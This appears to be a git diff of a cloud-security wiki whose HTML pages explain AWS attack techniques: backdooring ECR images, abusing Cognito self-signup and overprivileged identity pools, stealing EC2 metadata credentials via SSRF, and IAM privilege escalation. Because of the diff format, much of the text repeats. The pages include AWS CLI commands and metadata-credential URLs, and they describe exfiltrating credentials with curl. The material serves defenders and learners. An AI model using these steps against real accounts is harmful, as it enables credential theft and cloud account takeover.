Lateral Movement through AWS ECR In the following video, I will show how by using ECR permissions you can easily distribute a backdoor to production servers, developer's laptops, or CI/CD pipelines and own the environment by gaining privileged permissions.

Video Summary:

  • An attacker’s initial access can be through vulnerable applications (e.g SSRF), misconfiguration, leaked access keys, developer laptops, and more.
  • The attacker gains access to resources using access to ECR
  • The attacker pulls the latest docker image
  • The attacker adds a layer by injecting a malicious payload to the docker image
  • The attacker pushes the docker image to ECR with the latest tag
  • The victim pulls the latest docker image and starts the container
  • The malicious reverse shell is executed and communicates with the attacker
  • The attacker steals the server's IAM credentials (A reverse shell is an example of a simple payload but noisy technique. An attacker can inject the ECR with other techniques e.g. a hidden backdoor)

Security Recommendations:

  • Least privileges — external facing apps should not have write access or wildcard (*) permissions on ECR
  • Secure CI/CD pipelines — Protect from any unauthorized access to source code repos or build tools.
  • Enforce signing of docker images
  • (see: https://github.com/notaryproject/notary)
  • Use docker custom security profiles like AppArmor, Seccomp
  • Audit and monitor access and actions on ECR using AWS CloudTrail (If you use Container Image scanning, be aware that it will only detect the vulnerabilities of the system and will not be able to detect malicious payloads within the containers)

Conclusions: One of the main reasons I wrote this post is to share knowledge about the importance of container registry access, especially around ECR. Although this issue poses a high risk, it is not given the required attention it deserves. More awareness is needed around the potential damage that over-privileged services can introduce.

\ No newline at end of file diff --git a/aws/exploitation/cognito_identity_pool_excessive_privileges/index.html b/aws/exploitation/cognito_identity_pool_excessive_privileges/index.html index b7d0251c8..f0c46218c 100644 --- a/aws/exploitation/cognito_identity_pool_excessive_privileges/index.html +++ b/aws/exploitation/cognito_identity_pool_excessive_privileges/index.html @@ -7,8 +7,8 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Wes Ladd

Overpermissioned AWS Cognito Identity Pools

A significant security flaw in applications using AWS Cognito for identity management can occur when identity pools are given excessive privileges. Excessive privileges in an Identity Pool mean that the identities (users) associated with that pool can perform actions beyond what is necessary for their role in the application.

If an attacker successfully authenticates with the AWS Cognito service (such as through the unintended self-signup, and the corresponding identity pool has excessive privileges, the attacker can potentially perform actions that should be restricted. This might include accessing sensitive data, manipulating services, and, in some cases, privilege escalation.

Sometimes, even unauthenticated (or anonymous users) can perform actions that should be restricted. This is because AWS Cognito allows unauthenticated users to be associated with an identity pool. If the identity pool has excessive privileges, unauthenticated users can perform actions that should be restricted.

How it works

The process usually involves two key steps:

Identity Retrieval:

This starts with an attacker successfully signing up or logging in to a vulnerable Cognito user pool. As we discussed in our previous post, this might be due to misconfigured access controls allowing unintended self-signup, or through credential stuffing, password spraying or other attack vectors against user accounts.

When an attacker successfully authenticates, they get a set of identity tokens. The ID token, in particular, is a JWT (JSON Web Token) that contains claims about the identity of the authenticated user.

Excessive Privileges Exploitation:

The next step involves the attacker using this ID token to get temporary AWS credentials from an associated Cognito Identity Pool. The Identity Pool maps identities to IAM roles and provides them with temporary AWS credentials to access AWS services.

However, if the IAM roles associated with the Identity Pool have excessive permissions, the temporary AWS credentials that the attacker receives will allow them to perform actions that they should not be allowed to. Depending on the assigned permissions, an attacker could potentially read sensitive data from an S3 bucket, manipulate a DynamoDB table, invoke Lambda functions, or even perform privilege escalation to gain administrative rights.

Exploitation

The following commands can be used to get the AWS credentials, assuming you have the ID token for a valid user:

aws cognito-identity get-id --identity-pool-id {identity_pool_id} --account-id {account_id} --logins {login_provider}:{id_token}
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

Article by Wes Ladd

Overpermissioned AWS Cognito Identity Pools

A significant security flaw in applications using AWS Cognito for identity management can occur when identity pools are given excessive privileges. Excessive privileges in an Identity Pool mean that the identities (users) associated with that pool can perform actions beyond what is necessary for their role in the application.

If an attacker successfully authenticates with the AWS Cognito service (such as through the unintended self-signup, and the corresponding identity pool has excessive privileges, the attacker can potentially perform actions that should be restricted. This might include accessing sensitive data, manipulating services, and, in some cases, privilege escalation.

Sometimes, even unauthenticated (or anonymous users) can perform actions that should be restricted. This is because AWS Cognito allows unauthenticated users to be associated with an identity pool. If the identity pool has excessive privileges, unauthenticated users can perform actions that should be restricted.

How it works

The process usually involves two key steps:

Identity Retrieval:

This starts with an attacker successfully signing up or logging in to a vulnerable Cognito user pool. As we discussed in our previous post, this might be due to misconfigured access controls allowing unintended self-signup, or through credential stuffing, password spraying or other attack vectors against user accounts.

When an attacker successfully authenticates, they get a set of identity tokens. The ID token, in particular, is a JWT (JSON Web Token) that contains claims about the identity of the authenticated user.

Excessive Privileges Exploitation:

The next step involves the attacker using this ID token to get temporary AWS credentials from an associated Cognito Identity Pool. The Identity Pool maps identities to IAM roles and provides them with temporary AWS credentials to access AWS services.

However, if the IAM roles associated with the Identity Pool have excessive permissions, the temporary AWS credentials that the attacker receives will allow them to perform actions that they should not be allowed to. Depending on the assigned permissions, an attacker could potentially read sensitive data from an S3 bucket, manipulate a DynamoDB table, invoke Lambda functions, or even perform privilege escalation to gain administrative rights.

Exploitation

The following commands can be used to get the AWS credentials, assuming you have the ID token for a valid user:

aws cognito-identity get-id --identity-pool-id {identity_pool_id} --account-id {account_id} --logins {login_provider}:{id_token}
 
and then:
aws cognito-identity get-credentials-for-identity --identity-id {identity_id} --logins {login_provider}:{id_token}
-

Impact

The severity of this vulnerability depends on the permissions associated with the Identity Pool. In the worst case, an attacker could perform actions that are equivalent to a full AWS account takeover. This could lead to data leakage, unauthorized modification of data, and potential compliance violations.

However, if Identity Pools are configured in accordance with the principle of least privilege, the impact of this vulnerability is significantly reduced. In this case, the attacker would only be able to perform actions that are allowed by the associated IAM roles. This might include accessing data that they should not be able to access, but it would not allow them to perform privilege escalation and actions that are not allowed directly by the IAM roles.

\ No newline at end of file diff --git a/aws/exploitation/cognito_user_self_signup/index.html b/aws/exploitation/cognito_user_self_signup/index.html index 2d36967e0..a58995caa 100644 --- a/aws/exploitation/cognito_user_self_signup/index.html +++ b/aws/exploitation/cognito_user_self_signup/index.html @@ -7,8 +7,8 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Wes Ladd

Unintended Self-Signup in AWS Cognito

A common security flaw in SaaS applications that use Amazon Cognito as the IAM authn/authz source is allowing unintended/unauthorized account creation. Many times, such applications are intended to only allow Administrators to sign up users.

However, applications using Cognito are frequently not explicitly configured to require Administrator only sign-up. Just because a sign-up page or button is not present in the application, doesn't mean that an attacker can't sign up for an account. If "Admin Only" signup is not enabled in the Cognito User Pool and an attacker can identify the Cognito User Pool Client ID and required sign-up parameters, they can sign up for an account using the AWS CLI.

How it works

Identifying a Cognito User Pool Client ID for web applications and mobile applications requires different approaches.

Web applications:

An attacker may identify the User Pool Client ID in a web application by inspecting the source code. This typically involves the following steps:

  1. Opening the web application in a web browser.
  2. Using the browser's 'Inspect Element' or 'View Page Source' feature (usually accessible by right-clicking on the webpage and selecting it from the menu, or from the browser's tools menu). This allows viewing the HTML, CSS, and JavaScript code of the webpage.
  3. Looking for the initialization of the Amazon Cognito service in the JavaScript code. This often contains the User Pool Client ID. The code might look something like AWSCognito.config.update({UserPoolId:'...', ClientId:'...'});. The string after ClientId: would be the User Pool Client ID.

It's worth noting that best practices encourage storing sensitive data like Client IDs server-side or using secure methods of storage and transmission. However, misconfigurations can lead to these details being exposed in client-side code.

Mobile applications:

Obtaining the User Pool Client ID from a mobile application is more complex and requires a bit more technical know-how. The steps typically involve:

  1. Downloading the application package (APK for Android, IPA for iOS) to a local device.
  2. Using a software tool to decompile the application package into its constituent files. There are several tools available for this purpose, such as apktool for Android applications or otool/class-dump for iOS applications.
  3. Searching through the decompiled files for references to Amazon Cognito or the User Pool Client ID. This could be in the form of a configuration file or embedded within the application's code.

Exploitation

Once an attacker has identified the User Pool Client ID, they can use the AWS CLI to sign up for an account. The attacker will need to know the required sign-up parameters, which may be obtained by inspecting the sign-up page or form in the web or mobile application. The attacker can then use the following command to sign up for an account:

$ aws cognito-idp sign-up --client-id {client_id} --username {desired_username} --password {desired_password}
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

Article by Wes Ladd

Unintended Self-Signup in AWS Cognito

A common security flaw in SaaS applications that use Amazon Cognito as the IAM authn/authz source is allowing unintended/unauthorized account creation. Many times, such applications are intended to only allow Administrators to sign up users.

However, applications using Cognito are frequently not explicitly configured to require Administrator only sign-up. Just because a sign-up page or button is not present in the application, doesn't mean that an attacker can't sign up for an account. If "Admin Only" signup is not enabled in the Cognito User Pool and an attacker can identify the Cognito User Pool Client ID and required sign-up parameters, they can sign up for an account using the AWS CLI.

How it works

Identifying a Cognito User Pool Client ID for web applications and mobile applications requires different approaches.

Web applications:

An attacker may identify the User Pool Client ID in a web application by inspecting the source code. This typically involves the following steps:

  1. Opening the web application in a web browser.
  2. Using the browser's 'Inspect Element' or 'View Page Source' feature (usually accessible by right-clicking on the webpage and selecting it from the menu, or from the browser's tools menu). This allows viewing the HTML, CSS, and JavaScript code of the webpage.
  3. Looking for the initialization of the Amazon Cognito service in the JavaScript code. This often contains the User Pool Client ID. The code might look something like AWSCognito.config.update({UserPoolId:'...', ClientId:'...'});. The string after ClientId: would be the User Pool Client ID.

It's worth noting that best practices encourage storing sensitive data like Client IDs server-side or using secure methods of storage and transmission. However, misconfigurations can lead to these details being exposed in client-side code.

Mobile applications:

Obtaining the User Pool Client ID from a mobile application is more complex and requires a bit more technical know-how. The steps typically involve:

  1. Downloading the application package (APK for Android, IPA for iOS) to a local device.
  2. Using a software tool to decompile the application package into its constituent files. There are several tools available for this purpose, such as apktool for Android applications or otool/class-dump for iOS applications.
  3. Searching through the decompiled files for references to Amazon Cognito or the User Pool Client ID. This could be in the form of a configuration file or embedded within the application's code.

Exploitation

Once an attacker has identified the User Pool Client ID, they can use the AWS CLI to sign up for an account. The attacker will need to know the required sign-up parameters, which may be obtained by inspecting the sign-up page or form in the web or mobile application. The attacker can then use the following command to sign up for an account:

$ aws cognito-idp sign-up --client-id {client_id} --username {desired_username} --password {desired_password}
 

If the sign-up request fails with InvalidParameterException, it means additional user attributes are needed. In many cases, an email address is required. The attacker can then try again with the email address.

$ aws cognito-idp sign-up --client-id {client_id} --username {desired_username} --password {desired_password} --user-attributes Name=email,Value={email_address}
-

Impact

The impact of this vulnerability depends on the application. In some cases, the application may not be affected at all. In other cases, the application may be affected in a variety of ways.

Authenticated users of an application may be allowed to perform actions that they should not be able to perform. Perhaps the application allows data to be shared between users, and the attacker can use the application to share data with other users. Perhaps the application allows users to perform actions that cost money, and the attacker can use the application to perform actions that cost money. Perhaps the application allows users to perform actions that are not allowed by the application's terms of service, and the attacker can use the application to perform actions that are not allowed by the application's terms of service.

In addition, the attacker may be able to exchange authenticated user access for AWS credentials. This could allow the attacker to perform actions in AWS that they should not be able to perform. See Cognito Identity Pool Excessive Privileges for more information.

\ No newline at end of file diff --git a/aws/exploitation/ec2-metadata-ssrf/index.html b/aws/exploitation/ec2-metadata-ssrf/index.html index c8cc4f002..69171adb4 100644 --- a/aws/exploitation/ec2-metadata-ssrf/index.html +++ b/aws/exploitation/ec2-metadata-ssrf/index.html @@ -7,6 +7,6 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Nick Frichette

Steal EC2 Metadata Credentials via SSRF

Note

This is a common and well known attack in AWS environments. Mandiant has identified attackers performing automated scanning of vulnerabilities to harvest IAM credentials from publicly-facing web applications. To mitigate the risks of this for your organization, it would be beneficial to enforce IMDSv2 for all EC2 instances which has additional security benefits. IMDSv2 would significantly reduce the risk of an adversary stealing IAM credentials via SSRF or XXE attacks.

One of the most common techniques in AWS exploitation is abusing the Instance Metadata Service (IMDS) associated with a target EC2 instance.

Most EC2 instances can access their IMDS at 169.254.169.254. This service is only accessible from the specific EC2 instance it is associated with. The instance metadata service contains useful information about the instance, such as its IP address, its instance type, the name of the security groups associated with it, etc.

If an EC2 instance has an IAM role attached to it, IAM credentials associated with that role can be retrieved from the metadata service. Because of this, attackers will frequently target the IMDS to steal those credentials.

Stealing IAM Credentials from the Instance Metadata Service

If the EC2 instance is configured to use the default instance metadata service version 1, it is possible to steal IAM credentials from the instance without getting code execution on it.

This can be done by abusing existing applications running on the host. By exploiting common vulnerabilities such as server side request forgery (SSRF) or XML external entity (XXE) flaws, an adversary can coerce an application running on the host to retrieve those IAM credentials.

To demonstrate this, in the following example there is a web server running on port 80 of the EC2 instance. This web server has a simple SSRF vulnerability, allowing us to make GET requests to arbitrary addresses. We can leverage this to make a request to http://169.254.169.254.

Showing SSRF

To determine if the EC2 instance has an IAM role associated with it, we can make a request to http://169.254.169.254/latest/meta-data/iam/. A 404 response indicates there is no IAM role associated. You may also get a 200 response that is empty, this indicates that there was an IAM Role however it has since been revoked.

If there is a valid role we can steal, we can make a request to http://169.254.169.254/latest/meta-data/iam/security-credentials/. This will return the name of the IAM role associated with the credentials. In the example below we see that the role name is 'ec2-default-ssm'.

Role Name

To retrieve the credentials, we can append the role name to the previous query. For example, with the role name shown previously, the query would be http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-default-ssm/.

Stolen Keys

These credentials can then be used in the AWS CLI to make calls to the API. To learn more about using stolen IAM credentials, check out this comprehensive guide.

Note

An adversary who has gained code execution on the EC2 instance can retrieve credentials from the IMDS regardless of the version being used. Therefore, it is important to continually monitor your environment for suspicious activities.

Additional Resources

For an example of this technique being used in the wild along with additional information, please see Kevin Fang's excellent video on the 2019 Capital One breach.

Article by Nick Frichette

Steal EC2 Metadata Credentials via SSRF

Note

This is a common and well known attack in AWS environments. Mandiant has identified attackers performing automated scanning of vulnerabilities to harvest IAM credentials from publicly-facing web applications. To mitigate the risks of this for your organization, it would be beneficial to enforce IMDSv2 for all EC2 instances which has additional security benefits. IMDSv2 would significantly reduce the risk of an adversary stealing IAM credentials via SSRF or XXE attacks.

One of the most common techniques in AWS exploitation is abusing the Instance Metadata Service (IMDS) associated with a target EC2 instance.

Most EC2 instances can access their IMDS at 169.254.169.254. This service is only accessible from the specific EC2 instance it is associated with. The instance metadata service contains useful information about the instance, such as its IP address, its instance type, the name of the security groups associated with it, etc.

If an EC2 instance has an IAM role attached to it, IAM credentials associated with that role can be retrieved from the metadata service. Because of this, attackers will frequently target the IMDS to steal those credentials.

Stealing IAM Credentials from the Instance Metadata Service

If the EC2 instance is configured to use the default instance metadata service version 1, it is possible to steal IAM credentials from the instance without getting code execution on it.

This can be done by abusing existing applications running on the host. By exploiting common vulnerabilities such as server side request forgery (SSRF) or XML external entity (XXE) flaws, an adversary can coerce an application running on the host to retrieve those IAM credentials.

To demonstrate this, in the following example there is a web server running on port 80 of the EC2 instance. This web server has a simple SSRF vulnerability, allowing us to make GET requests to arbitrary addresses. We can leverage this to make a request to http://169.254.169.254.

Showing SSRF

To determine if the EC2 instance has an IAM role associated with it, we can make a request to http://169.254.169.254/latest/meta-data/iam/. A 404 response indicates there is no IAM role associated. You may also get a 200 response that is empty, this indicates that there was an IAM Role however it has since been revoked.

If there is a valid role we can steal, we can make a request to http://169.254.169.254/latest/meta-data/iam/security-credentials/. This will return the name of the IAM role associated with the credentials. In the example below we see that the role name is 'ec2-default-ssm'.

Role Name

To retrieve the credentials, we can append the role name to the previous query. For example, with the role name shown previously, the query would be http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-default-ssm/.

Stolen Keys

These credentials can then be used in the AWS CLI to make calls to the API. To learn more about using stolen IAM credentials, check out this comprehensive guide.

Note

An adversary who has gained code execution on the EC2 instance can retrieve credentials from the IMDS regardless of the version being used. Therefore, it is important to continually monitor your environment for suspicious activities.

Additional Resources

For an example of this technique being used in the wild along with additional information, please see Kevin Fang's excellent video on the 2019 Capital One breach.

\ No newline at end of file diff --git a/aws/exploitation/iam_privilege_escalation/index.html b/aws/exploitation/iam_privilege_escalation/index.html index 6785d8038..f8161f80c 100644 --- a/aws/exploitation/iam_privilege_escalation/index.html +++ b/aws/exploitation/iam_privilege_escalation/index.html @@ -7,6 +7,6 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Nick Frichette

AWS IAM Privilege Escalation Techniques

Note

If you'd like to get hands on experience exploiting these misconfigurations, check out iam-vulnerable by Seth Art.

codestar:CreateProject, codestar:AssociateTeamMember

With access to the codestar:CreateProject and codestar:AssociateTeamMember permissions, an adversary can create a new CodeStar project and associate themselves as an Owner of the project.

This will attach a new policy to the user that provides access to a number of permissions for AWS services. This is most useful for further enumeration as it gives access to lambda:List*, iam:ListRoles, iam:ListUsers, and more.

Using codestar:AssociateTeamMember

Showing the CodeStar policy

glue:UpdateDevEndpoint

With access to the glue:UpdateDevEndpoint permission, an adversary can update the existing SSH key associated with the glue endpoint. This will allow the adversary to SSH into the host and gain access to IAM credentials associated with the role attached to the glue endpoint. Though not required, it may be helpful to have the glue:GetDevEndpoint permission as well, if the existing endpoint cannot be identified via other means.

iam:AddUserToGroup

With access to the iam:AddUserToGroup permission, an adversary can add an IAM user they control to an existing group with more privileges. Although this is not required, it may be helpful to have other permissions in the IAM family to identify other groups and their privileges.

iam:AttachGroupPolicy

With access to the iam:AttachGroupPolicy permission, an adversary can attach an IAM policy to a group they are a member of. This potentially includes policies such as AdministratorAccess, which would provide them (surprise) administrator access to the AWS account.

iam:AttachRolePolicy

With access to the iam:AttachRolePolicy permission, an adversary can attach an IAM policy to a role they have access to. This potentially includes policies such as AdministratorAccess, which would provide them administrator access to the AWS account.

iam:AttachUserPolicy

With access to the iam:AttachUserPolicy permission, an adversary can attach an IAM policy to an IAM user they have access to. This potentially includes policies such as AdministratorAccess, which would provide them administrator access to the AWS account.

iam:CreateAccessKey

With access to the iam:CreateAccessKey permission, an adversary can create an IAM Access Key and Secret Access Key for other users. This would allow them to create credentials for more privileged users and have access to their privileges.

Showing iam:CreateAccessKey

iam:CreateLoginProfile

With access to the iam:CreateLoginProfile permission, an adversary can create a password for a more privileged IAM user to login to the console as. Note: if a password is already set, you must use iam:UpdateLoginProfile instead.

iam:CreatePolicyVersion

With access to the iam:CreatePolicyVersion permission, an adversary can create a new version of a existing policy with more privilege. If the adversary has access to the principal that policy is attached to, they can elevate their privileges.

iam:DeleteRolePermissionsBoundary

With access to the iam:DeleteRolePermissionsBoundary permission, an adversary can remove a permissions boundary from a role they have access to. This may increase the role's effective permissions if the permissions boundary was more restrictive than any of the role's identity-based policies.

iam:DeleteRolePolicy

With access to the iam:DeleteRolePolicy permission, an adversary can delete an inline policy from a role they have access to. This may increase the role's effective permissions if the policy contains explicit deny statements that any of the role's other policies allow.

iam:DeleteUserPermissionsBoundary

With access to the iam:DeleteUserPermissionsBoundary permission, an adversary can remove a permissions boundary from a user they have access to. This may increase the user's effective permissions if the permissions boundary was more restrictive than any of the role's identity-based policies.

iam:DeleteUserPolicy

With access to the iam:DeleteUserPolicy permission, an adversary can delete an inline policy from a user they have access to. This may increase the user's effective permissions if the policy contains explicit deny statements that any of the user's other policies allow.

iam:DetachRolePolicy

With access to the iam:DetachRolePolicy permission, an adversary can remove a managed policy from a role they have access to. This may increase the role's effective permissions if the policy contains explicit deny statements that any of the role's other policies allow.

iam:DetachUserPolicy

With access to the iam:DetachUserPolicy permission, an adversary can remove a managed policy from a user they have access to. This may increase the user's effective permissions if the policy contains explicit deny statements that any of the user's other policies allow.

iam:PassRole, autoscaling:CreateAutoScalingGroup or autoscaling:UpdateAutoScalingGroup, autoscaling:CreateLaunchConfiguration,

With access to the iam:PassRole, autoscaling:CreateLaunchConfiguration, autoscaling:CreateAutoScalingGroup, and autoscaling:UpdateAutoScalingGroup permissions, an adversary can create a launch configuration and leverage it in an autoscaling group to pass a more privileged role to it. This would allow an adversary to escalate privileges to that more privileged role.

iam:PassRole, autoscaling:CreateAutoScalingGroup or autoscaling:UpdateAutoScalingGroup, ec2:CreateLaunchTemplate

With access to the iam:PassRole, ec2:CreateLaunchTemplate, autoscaling:CreateAutoScalingGroup, and autoscaling:UpdateAutoScalingGroup permissions, an adversary can create a launch template and leverage it in an autoscaling group to pass a more privileged role to it. This would allow an adversary to escalate privileges to that more privileged role.

iam:PassRole, cloudformation:CreateStack

With access to the iam:PassRole and cloudformation:CreateStack permissions, an adversary can create a new CloudFormation stack and pass a more privileged role to it. This would allow an adversary to escalate privileges to that more privileged role.

iam:PassRole, codestar:CreateProject

With access to the iam:PassRole and codestar:CreateProject permissions, an adversary can create a new CodeStar project and pass a more privileged role to it. This would allow an adversary to escalate privileges to that more privileged role including that of an administrator.

iam:PassRole, datapipeline:ActivatePipeline, datapipeline:CreatePipeline, datapipeline:PutPipelineDefinition

With access to the iam:PassRole, datapipeline:ActivatePipeline, datapipeline:CreatePipeline, and datapipeline:PutPipelineDefinition permissions, an adversary can create a new pipeline and pass in a more privileged role. It is worth noting that to do this the AWS account must already contain a role that can be assumed by DataPipeline and that role must have greater privileges (or at least different ones) than the principal the adversary controls.

iam:PassRole, ec2:RunInstances

With access to the iam:PassRole and ec2:RunInstances permissions, an adversary can create a new EC2 instance and pass a more privileged role to it.

This can be taken advantage of with the following one-liner:

ec2 run-instances one-liner

Some things to note: The instance profile must already exist, and (realistically) it must have greater permissions than the role you have access to. If you also have the ability to create a role, this can be leveraged (although you may as well set the trust policy of that role to one you control at that point). The role that is being passed must have a trust policy allowing the EC2 service to assume it. You cannot pass arbitrary roles to an EC2 instance.

A common misconception about this attack is that an adversary must have access to an existing SSH key, or be able to spawn an SSM session. This is not actually true, you can leverage user data to perform an action on the host. One common example is to have the EC2 instance curl the metadata service, retrieve the IAM credentials, and then send them to an attacker controlled machine using curl.

Another (stealthier) example would be to perform all your API operations at once in the user-data script. This way you are not dinged with the IAM credential exfiltration finding (which can be bypassed).

iam:PassRole, glue:CreateDevEndpoint

With access to the iam:PassRole and glue:CreateDevEndpoint permissions, an adversary can create a new Glue development endpoint and pass in a more privileged role. It is worth noting that to do this the AWS account must already contain a role that can be assumed by Glue and that role must have greater privileges (or at least different ones) than the principal the adversary controls.

iam:PassRole, glue:CreateJob

With access to the iam:PassRole and glue:CreateJob permissions, an adversary can create a new Glue job and pass in a more privileged role. The AWS account must already contain a role that can be assumed by Glue and that role must have greater privileges (or at least different ones) than the principal the adversary controls. The glue:StartJobRun privilege would allow for the job to be run.

iam:PassRole, glue:UpdateJob

With access to the iam:PassRole and glue:UpdateJob permissions, an adversary can update the role and command associated with a Glue job. The AWS account must already contain a role that can be assumed by Glue and that role must have greater privileges (or at least different ones) than the principal the adversary controls. The glue:StartJobRun privilege or some pre-existing trigger could cause the job to run.

iam:PassRole, lambda:AddPermission, lambda:CreateFunction

With access to the iam:PassRole, lambda:AddPermission, and lambda:CreateFunction permissions, an adversary can create a Lambda function with an existing role. This function could then by updated with lambda:AddPermission to allow another principal in another AWS account the permission to invoke it. It is worth noting that the AWS account must already contain a role that can be assumed by Lambda.

iam:PassRole, lambda:CreateEventSourceMapping, lambda:CreateFunction

With access to the iam:PassRole, lambda:CreateEventSourceMapping, and lambda:CreateFunction permissions, an adversary can create a Lambda function with an existing privileged role and associating it with a DynamoDB table. Then, when a new record is inserted into the table, the Lambda function will trigger with the privilege of the passed in role.

It is worth noting that the AWS account must already contain a role that can be assumed by Lambda. Additionally, while not required, it may be beneficial to have the dynamodb:CreateTable and dynamodb:PutItem permissions to trigger this yourself.

iam:PassRole, lambda:CreateFunction, lambda:InvokeFunction

With access to the iam:PassRole, lambda:CreateFunction, and lambda:InvokeFunction permissions, an adversary can create a new Lambda function and pass an existing role to it. They can then invoke the function allowing them access to the privileges of the role associated with the function. It is worth noting that unless the adversary can create a role, they must use an already existing role that can be assumed by Lambda.

iam:PutGroupPolicy

With access to the iam:PutGroupPolicy permission, an adversary can create an inline policy for a group they are in and give themselves administrator access to the AWS account.

iam:PutRolePermissionsBoundary

With access to the iam:PutRolePermissionsBoundary permission, an adversary can update a permissions boundary attached to a role they have access to. This may increase the role's effective permissions if the permissions boundary was more restrictive than any of the role's identity-based policies.

iam:PutRolePolicy

With access to the iam:PutRolePolicy permission, an adversary can create an inline policy for a role they have access to and give themselves administrator access to the AWS account.

iam:PutUserPermissionsBoundary

With access to the iam:PutUserPermissionsBoundary permission, an adversary can update a permissions boundary attached to a user they have access to. This may increase the user's effective permissions if the permissions boundary was more restrictive than any of the role's identity-based policies.

iam:PutUserPolicy

With access to the iam:PutUserPolicy permission, an adversary can create an inline policy for a user they have access to and give themselves administrator access to the AWS account.

iam:SetDefaultPolicyVersion

With access to the iam:SetDefaultPolicyVersion permission, an adversary can revert a policy associated with their principal to a previous version. This is useful for scenarios in which a previous version of a policy had more access than the current version.

iam:UpdateAssumeRolePolicy

With access to the iam:UpdateAssumeRolePolicy permission, an adversary can modify the assume-role policy of a role, allowing them to assume it. This is useful to gain access to administrator roles, or other more privileged roles.

iam:UpdateLoginProfile

With access to the iam:UpdateLoginProfile permission, an adversary can change the password of an IAM user. This would allow them to log into the console as that user.

lambda:UpdateFunctionCode

With access to the lambda:UpdateFunctionCode permission, an adversary can modify an existing Lambda function's code. This would allow them to gain access to the privileges of the associated IAM role the next time the function is executed.

lambda:UpdateFunctionConfiguration

With access to the lambda:UpdateFunctionConfiguration permission, an adversary can modify an existing Lambda function's configuration to add a new Lambda Layer. This Layer would then override an existing library and allow an adversary to execute malicious code under the privilege of the role associated with the Lambda function.

Article by Nick Frichette

AWS IAM Privilege Escalation Techniques

Note

If you'd like to get hands on experience exploiting these misconfigurations, check out iam-vulnerable by Seth Art.

codestar:CreateProject, codestar:AssociateTeamMember

With access to the codestar:CreateProject and codestar:AssociateTeamMember permissions, an adversary can create a new CodeStar project and associate themselves as an Owner of the project.

This will attach a new policy to the user that provides access to a number of permissions for AWS services. This is most useful for further enumeration as it gives access to lambda:List*, iam:ListRoles, iam:ListUsers, and more.

Using codestar:AssociateTeamMember

Showing the CodeStar policy

glue:UpdateDevEndpoint

With access to the glue:UpdateDevEndpoint permission, an adversary can update the existing SSH key associated with the glue endpoint. This will allow the adversary to SSH into the host and gain access to IAM credentials associated with the role attached to the glue endpoint. Though not required, it may be helpful to have the glue:GetDevEndpoint permission as well, if the existing endpoint cannot be identified via other means.

iam:AddUserToGroup

With access to the iam:AddUserToGroup permission, an adversary can add an IAM user they control to an existing group with more privileges. Although this is not required, it may be helpful to have other permissions in the IAM family to identify other groups and their privileges.

iam:AttachGroupPolicy

With access to the iam:AttachGroupPolicy permission, an adversary can attach an IAM policy to a group they are a member of. This potentially includes policies such as AdministratorAccess, which would provide them (surprise) administrator access to the AWS account.

iam:AttachRolePolicy

With access to the iam:AttachRolePolicy permission, an adversary can attach an IAM policy to a role they have access to. This potentially includes policies such as AdministratorAccess, which would provide them administrator access to the AWS account.

iam:AttachUserPolicy

With access to the iam:AttachUserPolicy permission, an adversary can attach an IAM policy to an IAM user they have access to. This potentially includes policies such as AdministratorAccess, which would provide them administrator access to the AWS account.

iam:CreateAccessKey

With access to the iam:CreateAccessKey permission, an adversary can create an IAM Access Key and Secret Access Key for other users. This would allow them to create credentials for more privileged users and have access to their privileges.

Showing iam:CreateAccessKey

iam:CreateLoginProfile

With access to the iam:CreateLoginProfile permission, an adversary can create a password for a more privileged IAM user to login to the console as. Note: if a password is already set, you must use iam:UpdateLoginProfile instead.

iam:CreatePolicyVersion

With access to the iam:CreatePolicyVersion permission, an adversary can create a new version of a existing policy with more privilege. If the adversary has access to the principal that policy is attached to, they can elevate their privileges.

iam:DeleteRolePermissionsBoundary

With access to the iam:DeleteRolePermissionsBoundary permission, an adversary can remove a permissions boundary from a role they have access to. This may increase the role's effective permissions if the permissions boundary was more restrictive than any of the role's identity-based policies.

iam:DeleteRolePolicy

With access to the iam:DeleteRolePolicy permission, an adversary can delete an inline policy from a role they have access to. This may increase the role's effective permissions if the policy contains explicit deny statements that any of the role's other policies allow.

iam:DeleteUserPermissionsBoundary

With access to the iam:DeleteUserPermissionsBoundary permission, an adversary can remove a permissions boundary from a user they have access to. This may increase the user's effective permissions if the permissions boundary was more restrictive than any of the role's identity-based policies.

iam:DeleteUserPolicy

With access to the iam:DeleteUserPolicy permission, an adversary can delete an inline policy from a user they have access to. This may increase the user's effective permissions if the policy contains explicit deny statements that any of the user's other policies allow.

iam:DetachRolePolicy

With access to the iam:DetachRolePolicy permission, an adversary can remove a managed policy from a role they have access to. This may increase the role's effective permissions if the policy contains explicit deny statements that any of the role's other policies allow.

iam:DetachUserPolicy

With access to the iam:DetachUserPolicy permission, an adversary can remove a managed policy from a user they have access to. This may increase the user's effective permissions if the policy contains explicit deny statements that any of the user's other policies allow.

iam:PassRole, autoscaling:CreateAutoScalingGroup or autoscaling:UpdateAutoScalingGroup, autoscaling:CreateLaunchConfiguration,

With access to the iam:PassRole, autoscaling:CreateLaunchConfiguration, autoscaling:CreateAutoScalingGroup, and autoscaling:UpdateAutoScalingGroup permissions, an adversary can create a launch configuration and leverage it in an autoscaling group to pass a more privileged role to it. This would allow an adversary to escalate privileges to that more privileged role.

